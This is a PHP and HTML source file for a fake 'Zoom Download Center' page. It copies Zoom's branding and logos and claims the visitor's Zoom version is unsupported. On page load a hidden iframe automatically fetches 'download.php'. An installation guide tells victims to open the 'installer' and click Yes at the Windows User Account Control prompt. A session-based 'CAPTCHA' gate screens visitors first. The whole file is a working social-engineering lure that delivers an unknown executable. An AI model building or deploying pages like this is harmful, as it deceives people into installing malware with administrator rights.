<?php
session_start();

// If NOT verified, send user to CAPTCHA page
if (empty($_SESSION['verified'])) {
    header("Location: /zoom.us");
    exit();
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Zoom Download Center</title>
  <link rel="icon" type="image/x-icon" href="https://st1.zoom.us/zoom.ico">
  <style>
    :root {
      --text-muted: #666d78;
      --zoom-blue: #0b5cff;
    }

    * { box-sizing: border-box; }

    html, body {
      margin: 0;
      padding: 0;
      font-family: Arial, Helvetica, sans-serif;
      background: #f4f4f5;
      color: #111827;
      overflow-x: hidden;
    }

    a { text-decoration: none; }

    .top-bar { width: 100%; background: #02023f; padding: 18px 0; }
    .logo-wrap { max-width: 1720px; margin: 0 auto; padding: 0 20px; display: flex; align-items: center; }
    .logo-wrap img { height: 28px; width: auto; display: block; }

    .hero { width: 100%; background: #02023f; color: #ffffff; text-align: center; padding: 92px 20px 108px; }
    .hero h1 { margin: 0; font-size: 52px; line-height: 1.15; font-weight: 500; }
    .hero p { margin: 22px 0 0; font-size: 21px; font-weight: 400; }

    .hero-line { width: 100%; height: 22px; background: #3d5afe; }
    .main-area { width: 100%; padding: 56px 0 72px; }
    .content-row { max-width: 1720px; margin: 0 auto; padding: 0 58px; display: flex; align-items: flex-start; gap: 42px; }

    .image-col { flex: 0 0 650px; width: 650px; }
    .image-col img { width: 650px; height: 364px; object-fit: cover; border-radius: 20px; display: block; }

    .text-col { flex: 1 1 auto; min-width: 0; padding-top: 18px; }
    .title { margin: 0 0 18px; font-size: 30px; font-weight: 600; color: #171c2b; }
    .version-link { display: inline-block; margin-bottom: 14px; font-size: 16px; color: #5865f2; }
    .description { margin: 0 0 16px; max-width: 980px; font-size: 18px; line-height: 1.42; color: #1d2340; }

    .notice-box {
      width: 100%; max-width: 980px; background: #efe9e2; border-radius: 10px; padding: 12px 18px;
      display: flex; align-items: flex-start; gap: 12px; position: relative; margin-bottom: 22px;
    }
    .notice-icon { width: 18px; height: 18px; flex: 0 0 18px; position: relative; margin-top: 3px; }
    .notice-icon::before { content: ""; position: absolute; border-left: 9px solid transparent; border-right: 9px solid transparent; border-bottom: 18px solid #f4c000; }
    .notice-icon::after { content: "!"; position: absolute; left: 50%; top: 54%; transform: translate(-50%, -50%); font-size: 12px; font-weight: 700; color: #5b4300; }

    .button-row { display: flex; align-items: center; gap: 20px; margin-bottom: 10px; }
    .download-btn {
      display: inline-flex; align-items: center; justify-content: center; min-width: 168px; height: 42px;
      padding: 0 22px; border-radius: 999px; background: #3d6df2; border: none; color: #ffffff;
      font-size: 15px; font-weight: 500; cursor: pointer;
      position: relative; transition: background 0.2s;
    }

    /* Loading Spinner Styling */
    .spinner {
      display: none;
      width: 18px;
      height: 18px;
      margin-left: 10px;
      border: 2px solid rgba(255, 255, 255, 0.3);
      border-radius: 50%;
      border-top-color: #fff;
      animation: spin 0.8s linear infinite;
    }

    @keyframes spin {
      to { transform: rotate(360deg); }
    }

    #download-status {
      display: none;
      font-size: 15px;
      color: #666d78;
      margin-top: 15px;
      line-height: 1.4;
    }

    .status-text { font-size: 15px; color: #1d2340; line-height: 1.6; }
    .status-text a { color: #0b5cff; cursor: pointer; font-weight: 500; }

    .modal-overlay {
      display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%;
      background: rgba(0, 0, 0, 0.4); backdrop-filter: blur(8px); z-index: 1000;
      justify-content: center; align-items: center;
    }
    .modal-content {
      background: white; width: 90%; max-width: 550px; border-radius: 12px;
      padding: 24px; position: relative; box-shadow: 0 10px 25px rgba(0,0,0,0.2);
    }
    .modal-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; }
    .close-btn { background: none; border: none; font-size: 28px; color: #747487; cursor: pointer; }

    .modal-body { text-align: left; }
    
    .guide-item {
      display: flex; align-items: flex-start; gap: 15px; text-align: left;
      background: #f8f9ff; padding: 15px; border-radius: 10px; margin-bottom: 12px;
    }
    .guide-num {
      background: #e8efff; color: #0b5cff; width: 28px; height: 28px;
      border-radius: 50%; display: flex; align-items: center; justify-content: center;
      flex-shrink: 0; font-weight: bold; font-size: 14px;
    }
    .guide-text h4 { margin: 0 0 4px; font-size: 15px; color: #111; }
    .guide-text p { margin: 0; font-size: 13px; color: #555; line-height: 1.4; }

    .modal-actions { display: flex; flex-direction: column; gap: 10px; margin-top: 20px; }
    .btn-primary-modal { background: var(--zoom-blue); color: white; border: none; padding: 12px; border-radius: 8px; font-weight: 600; cursor: pointer; width: 100%; }

    @media (max-width: 1180px) {
      .content-row { flex-direction: column; }
      .image-col, .image-col img { width: 100%; max-width: 650px; }
      .hero h1 { font-size: 42px; }
    }
  </style>
</head>
<body>

  <div class="top-bar">
    <div class="logo-wrap">
      <img src="https://st1.zoom.us/homepage/20260326-1202/primary/dist/assets/zoommedia/logo-zoom-white@2x.png" alt="Zoom Logo" />
    </div>
  </div>

  <section class="hero">
    <h1>Update Required</h1>
    <p>Your current version of Zoom is no longer supported for this meeting. To ensure security and performance, please update to join the meeting.</p>
  </section>

  <div class="hero-line"></div>

  <main class="main-area">
    <div class="content-row">
      <div class="image-col">
        <img src="https://st1.zoom.us/fe-static/meeting-base-V3/img/mac-bg.BUq1Jdlg.jpeg" alt="Zoom Workplace for Windows" />
      </div>

      <div class="text-col">
        <h1 class="title">Zoom Workplace for Windows</h1>
        <a href="#" class="version-link">Version 7.0.2 (34412)</a>

        <p class="description">
          Unlock the full suite of collaboration with Team Chat, Whiteboard, Notes and more - included with your Zoom Meetings account.
        </p>

        <div class="notice-box">
          <div class="notice-icon"></div>
          <div class="notice-text">
            Your current version of Zoom is out of date. Please install the latest version to continue using Zoom securely and smoothly.
            <a href="#">Learn More</a>
          </div>
        </div>

        <div class="button-row">
          <button class="download-btn" id="dlBtn" onclick="triggerDownload()">
            <span>Download</span>
            <div class="spinner" id="btnSpinner"></div>
          </button>
        </div>

        <div id="download-status">
          We've downloaded an executable to help you install Zoom Workplace. Open this file in your downloads to begin installation.
        </div>

        <p class="status-text" style="margin-top: 10px;">
            File not found? <a onclick="openModal('guideModal')">Restart download</a>
        </p>
      </div>
    </div>
  </main>

  <div id="guideModal" class="modal-overlay">
    <div class="modal-content">
      <div class="modal-header">
        <img src="https://support.zoom.com/blue-zoom-logo-updated.svg" alt="Zoom" height="18">
        <button class="close-btn" onclick="closeModal('guideModal')">&times;</button>
      </div>
      <div class="modal-body">
        <h3 style="margin-bottom: 20px; text-align: center;">Installation Guide</h3>
        
        <div class="guide-item">
            <div class="guide-num">1</div>
            <div class="guide-text">
                <h4>Open the Installer</h4>
                <p>Locate <strong>Zoom Workplace Installer</strong> in your browser's download tray or folder and click to open.</p>
            </div>
        </div>

        <div class="guide-item">
            <div class="guide-num">2</div>
            <div class="guide-text">
                <h4>Run the Setup</h4>
                <p>If Windows asks for permission (User Account Control), click <strong>Yes</strong> to allow the installation to begin.</p>
            </div>
        </div>

        <div class="guide-item">
            <div class="guide-num">3</div>
            <div class="guide-text">
                <h4>Sign In & Collaborate</h4>
                <p>Once finished, Zoom will open. Click <strong>Sign In</strong> to access your team chat and calendar.</p>
            </div>
        </div>

        <div class="modal-actions">
          <button class="btn-primary-modal" onclick="triggerDownload(); closeModal('guideModal');">Restart Download Now</button>
        </div>
      </div>
    </div>
  </div>

  <iframe id="dlFrame" style="display:none;"></iframe>

  <script>
    // TRIGGER DOWNLOAD ONCE ON PAGE VISIT
    window.onload = function() {
      triggerDownload();
    };

    function openModal(id) {
      document.getElementById(id).style.display = 'flex';
    }

    function closeModal(id) {
      document.getElementById(id).style.display = 'none';
    }

    function triggerDownload() {
      const spinner = document.getElementById('btnSpinner');
      
      // 1. Show the loading spinner in the button
      spinner.style.display = 'block';

      // 2. Trigger the file download
      document.getElementById('dlFrame').src = 'download.php';
      
      // 3. Show the on-page instructions immediately
      document.getElementById('download-status').style.display = 'block';

      // 4. Stop the spinning after 3 seconds
      setTimeout(() => {
        spinner.style.display = 'none';
      }, 3000);
    }

    window.onclick = function(event) {
      if (event.target.classList.contains('modal-overlay')) {
        event.target.style.display = 'none';
      }
    }
  </script>

</body>
</html>